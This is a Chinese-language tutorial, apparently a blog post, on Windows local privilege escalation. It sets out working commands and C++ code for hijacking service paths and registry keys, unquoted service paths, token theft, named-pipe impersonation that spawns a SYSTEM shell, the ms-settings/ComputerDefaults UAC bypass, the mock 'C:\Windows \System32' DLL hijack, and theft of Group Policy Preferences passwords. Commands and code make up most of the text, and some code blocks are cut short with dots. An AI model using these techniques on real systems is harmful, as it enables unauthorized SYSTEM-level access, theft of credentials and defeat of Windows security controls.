前言
低权限用户可以检查"Authenticated Users"组和"INTERACTIVE"组对系统服务的权限。
"Authenticated Users"组:经过身份验证的用户,但不包括来宾账户
组:包含所有直接登录到计算机进行操作的用户。
如果低权限用户可以对一些高权限服务启动时的文件有写权限,那么就可以将其替换为可执行文件,并且随着服务的启动获得一个高权限的shell会话。
我们利用accesschk.exe寻找test用户对哪些服务有配置权限,下图可以看出test用户对Apache2.4服务具有所以权限
accesschk.exe /accepteula test -uwcqv *
替换Apache2.4服务启动时的程序,替换未我们的程序,然后手动重启服务,我们即可获得一个system的shell。
sc config Apache2.4 binpath\= "cmd.exe /k c:\\fw.exe"
sc stop Apache2.4
sc start Apache2.4
(向右滑动,查看更多)
环境配置:
注册表使用ACL来管理用户拥有的权限。如果ACL配置错误,那么一个低权限的用户对服务注册表有写入权限,就可以通过修改此注册表来提权。
可以通过accesschk.exe枚举指定用户在目标主机中是否对某服务的注册表具有写入权限,如下图test用户对HKLM\SYSTEM\CurrentControlSet\Services\Apache2.4具有全部权限
accesschk.exe /accepteula test \-uvwqk HKLM\\SYSTEM\\CurrentControlSet\\Services
将其ImagePath键指向上传的shell路径:
reg add HKLM\\SYSTEM\\CurrentControlSet\\Services\\Apache2.4 /v ImagePath /t REG\_EXPAND\_SZ /d "cmd.exe /k c:\\fw.exe" /f
查询对该服务是否有重启权限(如果没有,那么只有等对方主机重启)。
accesschk64.exe /accepteula test \-ucqv Apache2.4
对Apache2.4服务具有所以权限,因此我们手动重启Apache2.4服务。
sc stop Apache2.4
sc start Apache2.4
当服务启动所执行的二进制文件的路径包含空格但是未有效包含在引号中,就会导致该漏洞。
例如有这样一个路径"C:\Program Files\Test tes\Start.exe",Windows会尝试寻找并执行与空格前的名字匹配的程序。
C:\Program.exe
C:\Program Files\Test.exe
C:\Program Files\Test tes\Start.exe
执行如下命令查看是否存在有漏洞:
wmic service get name,displayname,pathname,startmode|findstr /i "Auto" |findstr /i /v "C:\\Windows\\\\" |findstr/i /v """
"C:\Program Files (x86)\Photodex\ProShow Producer\Start.exe",此路径存在漏洞,然后利用Windows自带的工具icacls.exe依次对三个路径进行检测权限。
icacls "C:\\Program Files (x86)"
icacls "C:\\Program Files (x86)\\Photodex"
icacls "C:\\Program Files (x86)\\Photodex\\ProShow Producer"
最后发现"C:\Program Files (x86)\Photodex\ProShow Producer"这个路径下有everyone的权限,对其有完全的控制权。
(M):修改
(F):完全控制
(CI):从属容器将继承访问控制项
(OI):从属文件将继承访问控制项
将恶意程序放在C:\Program Files (x86)\Photodex\ProShow Producer目录下,并且重命名未为ProShow.exe。
然后手动或者等其重启服务即可。
sc stop 服务名
sc start 服务名
msf利用模块:
windows/local/unquoted\_service\_path
获得shell后立马迁移进程。
管理员给多台机器配置环境时,可能会用脚本配置,即可能会使用安装配置文件,这些文件可能会包含一些敏感信息。
msf的模块,配置好会话运行即可:
post/windows/gather/enum\_unattend
当用户登录系统时,系统都会为其创建访问令牌,里面包含登录进程返回的SID和由本地安全策略分配给用户和用户的安全组的特权列表。以当前用户运行的进程,都会有该访问令牌的一个副本。
我们可以通过whoami /all查看信息:
whoami /all
还有些未截图。
令牌类型
主令牌:每个进程都有一个主令牌,它描述了与当前进程相关的用户帐户的安全上下文。主令牌只能附加到进程。
模拟令牌:它允许服务器应用程序暂时成为客户端在访问安全对象方面 。模拟令牌只能附加到线程 ### 令牌窃取。
通过窃取令牌的操作来达到提权的目的,msf中有自带的模块可以帮助我们列出和模拟其他令牌,来帮助我们提升权限。
load incognito #加载模块
list\_tokens \-u #列出主机上所有的访问令牌
impersonate\_token "NT AUTHORITY\\SYSTEM" #窃取指定令牌
steal\_token PID #从指定进程窃取令牌
其大致原理就是通过从另外一个正在运行的进程中,窃取其令牌,然后对其令牌进行复制,创建一个新的进程。
因此我们现在的思路如下:
使用OpenProcess函数打开要窃取的进程,获得句柄
使用OpenProcesToken函数打开与进程关联的访问令牌
DuplicateTokenEx复制其令牌
CreateProcessWithTokenW使用新的令牌创建进程
这里测试从administrator窃取system进程的令牌,打开一个system权限的cmd:
我们这里窃取winlogon进程的令牌,来打开一个新的cmd窗口。
代码实现:
#include <windows.h>
#include <iostream>
#include <tlhelp32.h>
#include <processthreadsapi.h>
using namespace std;
typedef NTSTATUS(WINAPI\* \_RtlAdjustPrivilege)(
ULONG Privilege, BOOL Enable, BOOL CurrentThread, PULONG Enabled
。。。。。。。。。。。。。。。。。
endl;
return 0;
}
cout << "\[+\] RtlAdjustPrivilege Success" << endl;
}
......
exe" << endl;
return 1;
}
SeDebugPrivilege();
HANDLE lProcess \= OpenProcess(PROCESS\_ALL\_ACCESS, FALSE, Process\_id());
if (lProcess \== NULL) {
cout << "\[-\] OpenProcess Error:" << GetLastError() << endl;
.....
Success" << endl;
STARTUPINFOW si \= { 0 };
PROCESS\_INFORMATION pi \= { 0 };
BOOL Create \= CreateProcessWithTokenW(lphNewToken, 0, argv\[1\], NULL, CREATE\_NEW\_CONSOLE, NULL, NULL, &si, &pi);
if (Create \== 0) {
cout << Create << ":" << GetLastError() << endl;
return 1;
}
cout << "\[+\] CreateProcessWithTokenW Success" << endl;
return 0;
}
可以看见部分特权已经被开启了。
管道服务器:创建管道的进程。
管道客户端:连接管道的进程。
管道又可以分为匿名管道、命名管道
匿名管道:位=未命名的单向管道,通常用在父子进程间的传输数据,因此只能用于本地通信,不能用于网络通信。
命名管道:命名的可单向、双向传输的管道,可以用于网络通信。
我们着重看一下命名管道,对于命名管道,每个命名管道都有一个唯一的名称。
管道服务器可以使用CreateNamedPipe函数创建一个命名管道实例,且命名规则必须遵循如下格式\\.\pipe\pipe\pipename,使用ConnectNamedPipe函数等待客户端进程进行连接。
客户端进程使用CreateFile或CallNamedPipe函数连接到命名管道,需要使用如下格式\\ServerName\pipe\PipeName
我们来看看如何编写一个管道服务器:
使用CreateNamedPipe函数创建一个命名管道实例
ConnectNamedPipe函数等待客户端连接
ReadFile接收客户端发送来的信息
#include <windows.h>
#include <iostream>
using namespace std;
int main() {
HANDLE lCreatePipe \= CreateNamedPipe("\\\\\\\\.\\\\pipe\\\\pipe\\\\testname", PIPE\_ACCESS\_DUPLEX, PIPE\_TYPE\_MESSAGE, 1, 2048, 2048, 0, NULL);
if (lCreatePipe \== INVALID\_HANDLE\_VALUE) {
cout << "CreateNamedPipeA Error" << endl;
return 1;
}
cout << "CreateNamedPipeA Success" << endl;
BOOL ConnectSuccess \= ConnectNamedPipe(lCreatePipe, NULL);
if (ConnectSuccess \== 0) {
cout << "ConnectNamedPipe Error" << endl;
return 1;
}
cout << "客户端成功连接到服务器" << endl;
char buf\[2048\];
BOOL Read \= ReadFile(lCreatePipe, buf, 2048, NULL, NULL);
if (Read) {
cout << "Success receive:" << buf << endl;
}
return 0;
}
接着我们来看看如何编写客户端的代码:
CreateFile连接到服务端
WriteFile向服务端发送数据
#include <windows.h>
#include <iostream>
using namespace std;
int main() {
HANDLE ConectionTo \= CreateFile("\\\\\\\\.\\\\pipe\\\\pipe\\\\testname", GENERIC\_READ | GENERIC\_WRITE, 0, NULL, OPEN\_EXISTING, 0, NULL);
if (ConectionTo \== INVALID\_HANDLE\_VALUE) {
cout << "CreateFileA Error:" << GetLastError() << endl;
return 1;
}
cout << "成功连接到服务端" << endl;
char message\[\] \= "This is a test";
DWORD messageLenght \= lstrlen(message) \* 2;
BOOL Write \= WriteFile(ConectionTo, message, messageLenght, NULL, NULL);
if (Write \== 0) {
cout << "WriteFile Error" << endl;
return 1;
}
cout << "WriteFile to server success" << endl;
}
简单来说就是命名管道服务器线程调用ImpersonateNamedPipeClient函数,当客户端连接到服务端时,系统就会根据客户端的权限授予服务端相同的权限。
具体可参考:
https://learn.microsoft.com/zh-cn/windows/win32/ipc/impersonating-a-named-pipe-client
但是ImpersonateNamedPipeClient函数成功调用是有条件的,只要满足如下之一即可 我们看看第二个条件。
当我们以管理员权限运行cmd的时候,我们可以发现其开启了SeImpersonatePrivilege。
我们可以让具有system权限程序访问我们,那么这样我们也就具有了system权限,msf中的getsystem也是这个原理 我们可以利用其打开一个cmd窗口来验证是否成功,我们先来看看几个Windows的api:
OpenThreadToken:
https://learn.microsoft.com/zh-cn/windows/win32/api/processthreadsapi/nf-processthreadsapi-openthreadtoken
DuplicateTokenEx:
https://learn.microsoft.com/zh-cn/windows/win32/api/securitybaseapi/nf-securitybaseapi-duplicatetokenex
CreateProcessWithTokenW:
调用该函数的进程需要开启SE_IMPERSONATE_NAME特权,管理员进程默认开启。
https://learn.microsoft.com/zh-cn/windows/win32/api/winbase/nf-winbase-createprocesswithtokenw
因此思路就很简单了:
我们创建好服务端后,利用ImpersonateNamedPipeClient函数进行模拟(客户端也需要访问我们)
模拟成功后,调用OpenThreadToken函数打开服务端线程的令牌
利用DuplicateTokenEx函数复制线程令牌(这一步可有可无)
使用CreateProcessWithTokenW函数打开具有线程令牌(或副本)的程序
Server代码实现:
#include <windows.h>
#include <iostream>
using namespace std;
int main() {
HANDLE lCreatePipe \= CreateNamedPipe("\\\\\\\\.\\\\pipe\\\\pipe\\\\testname", PIPE\_ACCESS\_DUPLEX, PIPE\_TYPE\_MESSAGE, 1, 2048, 2048, 0, NULL);
if (lCreatePipe \== INVALID\_HANDLE\_VALUE) {
cout << "\[-\] CreateNamedPipeA Error" << endl;
return 1;
}
cout << "\[+\] CreateNamedPipeA Success" << endl;
BOOL ConnectSuccess \= ConnectNamedPipe(lCreatePipe, NULL);
if (ConnectSuccess \== 0) {
cout << "\[-\] ConnectNamedPipe Error" << endl;
return 1;
}
cout << "客户端成功连接到服务器" << endl;
char buf\[2048\];
BOOL Read \= ReadFile(lCreatePipe, buf, 2048, NULL, NULL);
if (Read) {
cout << "\[+\] Success receive:" << buf << endl;
}
BOOL Impersonate \= ImpersonateNamedPipeClient(lCreatePipe);
if (Impersonate \== 0) {
cout << "\[-\] ImpersonateNamedPipeClient Error:" << GetLastError() << endl;
return 1;
}
cout << "\[+\] ImpersonateNamedPipeClient Success" << endl;
HANDLE lTokenHandle;
HANDLE lphNewToken;
BOOL Open \= OpenThreadToken(GetCurrentThread(), TOKEN\_ALL\_ACCESS, FALSE, &lTokenHandle);
if (Open \== 0) {
cout << "\[-\] OpenThreadToken Error" << GetLastError() << endl;
return 1;
}
cout << "\[+\] OpenThreadToken Success" << endl;
BOOL Duplicate \= DuplicateTokenEx(lTokenHandle, TOKEN\_ALL\_ACCESS, NULL, SecurityImpersonation, TokenImpersonation, &lphNewToken);
if (Duplicate \== 0) {
cout << "\[-\] DuplicateTokenEx Error:" << GetLastError() << endl;
return 1;
}
cout << "\[+\] DuplicateTokenEx Success" << endl;
STARTUPINFOW si \= { 0 };
PROCESS\_INFORMATION pi \= { 0 };
BOOL Create \= CreateProcessWithTokenW(lTokenHandle, 0, L"cmd.exe", NULL, CREATE\_NEW\_CONSOLE, NULL, NULL, &si, &pi);
if(Create \== 0){
cout << "CreateProcessWithTokenW:" << Create << ":" << GetLastError() << endl;
return 1;
}
cout << "\[+\] CreateProcessWithTokenW Success" << endl;
return 0;
}
(向右滑动,查看更多)
用户账户控制(UAC),是windows采用的一种控制机制。
当用户登录到计算机时,系统会为该用户创建访问令牌。访问令牌包含有关授予用户的访问权限级别的信息,包括特定安全标识符 (SID) 和 Windows 权限。我们先来看看不同用户的登录过程。
当管理员进行登录的时候,会为用户创建两个单独的访问令牌(标准用户访问令牌、管理员访问令牌)
当标准用户登录时,会为用户创建一个访问令牌,即标准用户访问令牌
标准用户访问令牌与管理员访问令牌的区别在于:标准用户访问令牌会删除管理 Windows 特权和 SID,Windows建议使主要用户帐户成为标准用户帐户。在启用了 UAC 后,所有用户帐户(包括管理帐户)都将使用标准用户权限运行,因此当管理组中的用户需要以管理员身份运行某程序时,Windows就提弹出提示。
我们可以在组策略中设置提升权限的验证方式,默认是图中所示。
我们可以查询注册表连判断对方系统是否开启UAC,如果为1那么表示开启UAC,为0表示禁用UAC:
REG QUERY HKEY\_LOCAL\_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\ /v EnableLUA
如果开启了UAC,那么我们还可以检查UAC开到了哪个级别:
REG QUERY HKEY\_LOCAL\_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\ /v ConsentPromptBehaviorAdmin
0 #不提示,直接提升
1 #在安全桌面上提示凭据(需要输入密码)
2 #在安全桌面上同意提示(即需要确认是否以管理员权限运行)
3 #提示凭据(需要输入密码)
4 #同意提示(即需要确认是否以管理员权限运行)
5 #非Windows二进制文件的同意提示
参考:
https://learn.microsoft.com/zh-cn/windows/security/identity-protection/user-account-control/how-user-account-control-works
当前用户位于管理员组(非管理员组用户,运行文件会提示验证)。
程序的manifest标识的配置属性 autoElevate 为true(不会弹出同意框,自动提升权限)。
从注册表里查询Shell\Open\command键值对(因为对应的一般是可执行程序文件)。
操作系统中有些文件运行时是自动提升权限的。利用微软的工具,查找autoElevate属性为true的文件(白名单文件的特性)。
strings.exe \-s c:\\windows\\system32\\\*.exe | findstr /i "autoElevate"
我们也可以写一个简单的python脚本
import subprocess
import os
path \= "C:\\\\Windows\\\\System32"
dirs \= os.listdir(path)
for file in dirs:
if ".exe" in file:
cmd \= "sigcheck64.exe /accepteula -m " + path + "\\\\" + file
cmd\_result \= subprocess.Popen(cmd, shell\=True, stdout\=subprocess.PIPE).stdout.read()
if "true</autoElevate>" in str(cmd\_result):
print(file)
with open("firefox.txt", "a+") as f:
f.write(file + "\\n")
(向右滑动,查看更多)
这里用ComputerDefaults.exe为例子进行,借助ProcessMonitor监控注册表的。
通常"\shell\open\command"命名的注册表中存储的可能是可执行文件的路径,因此我们主要看这个去进行Bypass。
我们可以看见首先是RegOpenKey去打开这个路径,并不存在"\shell\open\command"项。
我们手动创建一下,也可以使用cmd命令。
reg add "HKCU\\Software\\Classes\\ms-settings\\shell\\open\\command" /d "c:\\windows\\system32\\cmd.exe /c start cmd" /f
但是当我们运行ComputerDefaults.exe时,并没有弹出exe,我们用ProcessMonitor看看,我们可以看见RegQueryValue函数去检索项中DelegateExecute键值对,但是我们没有啊,所以其返回NOT FOUND,因此我们手工创建一个键值对。
reg add "HKCU\\Software\\Classes\\ms-settings\\shell\\open\\command" /v DelegateExecute /t REG\_SZ /d ""/f
再次运行即可弹出cmd窗口了。
我们可以用c++写一个简单的程序,来自动运行:
#include <windows.h>
#include <iostream>
#include <winreg.h>
using namespace std;
int main(int argc, BYTE\* argv\[\])
{
HKEY hRoot \= HKEY\_CURRENT\_USER;
HKEY hKey;
if (argc != 2) {
cout << "usage:xxx.exe 程序或者程序路径\\nxxx.exe cmd.exe" << endl;
return 1;
}
..........................................................................................................
return 1;
}
cout << "RegSetValueEx Success" << endl;
//设置和添加子健中项的值
LSTATUS RegSet \= RegSetValueEx(hKey, "", 0, REG\_SZ, argv\[1\], sizeof(argv\[1\]));
LSTATUS RegSet1 \= RegSetValueEx(hKey, "DelegateExecute", 0, REG\_SZ, NULL, NULL);
if (RegSet != ERROR\_SUCCESS && RegSet1 != ERROR\_SUCCESS)
{
cout << "RegSetValueEx Error" << endl;
return 1;
}
cout << "RegSetValueEx Success" << endl;
STARTUPINFO si;
PROCESS\_INFORMATION pi;
.....................................................
.....................................................
return 1;
}
cout << "CreateProcessA Success" << endl;
//做延时删除
Sleep(3000);
//删除键值
LSTATUS EegDel \= RegDeleteTreeA(hRoot, "Software\\\\Classes\\\\ms-settings");
if (EegDel != ERROR\_SUCCESS)
{
cout << "RegDeleteValue Error" << endl;
return 1;
}
cout << "RegDeleteValue Success" << endl;
// 关闭子键句柄
RegCloseKey(hKey);
return 0;
}
(向右滑动,查看更多)
当白名单程序执行时,首先会读取其Manifest信息,如果autoElevate字段存在且为true则认为其是可自动提升权限的程序,且会检查其系统的签名,然后还会检查其文件是否处于可信任目录中C:\Windows\System32目录。
但是系统在检查可信任目录的时候,会自动去除目录的空格,因此我们可创建一个C:\Windows \System32的目录来绕过可信性目录的检查(因为原始的目录需要最高的权限),然后将白名单文件复制到创建的目录中,再结合dll劫持即可。
创建模拟目录:
md "\\\\?\\C:\\Windows "
md "\\\\?\\C:\\Windows \\System32"
copy c:\\windows\\system32\\winsat.exe "\\\\?\\C:\\Windows \\System32\\winsat.exe"
借助ProcessMonitor监控。
包含空格目录的文件在加载这些dll时,都失败,因此我们可以劫持这些dll文件,来执行命令或恶意程序(dll要和无空格目录下的dll有相同的导出函数)。
我们可以利用ExportsToC++或者AheadLib来获取导出函数。这里我用的ExportsToC++去导出d3d11.dll的函数。这里的dll要是原始目录下的dll文件。
这里的dll要填写如下格式。
C:\\\\Windows\\\\System32\\\\d3d11.dll
点击ok即可获取导出函数。
重命名后将其放入白名单文件的同一目录中。
新建一个组策略后,域控制器会在SYSVOL共享目录中生成一个XML文件,在文件保存了组策略更新后的密码。(密码在Groups.xml中)。
msf中有集成的模块进行利用。
post/windows/gather/credentials/app
WMIC是WMI的扩展,提供了从命令行接口和批命令脚本执行系统管理的支持,实际上就是命令行管理工具。在内网横向移动较为是常见的方法。
我们可以从administrator提升至system,如下所示,令牌已经全部开启。
wmic process call create "cmd.exe"
精彩推荐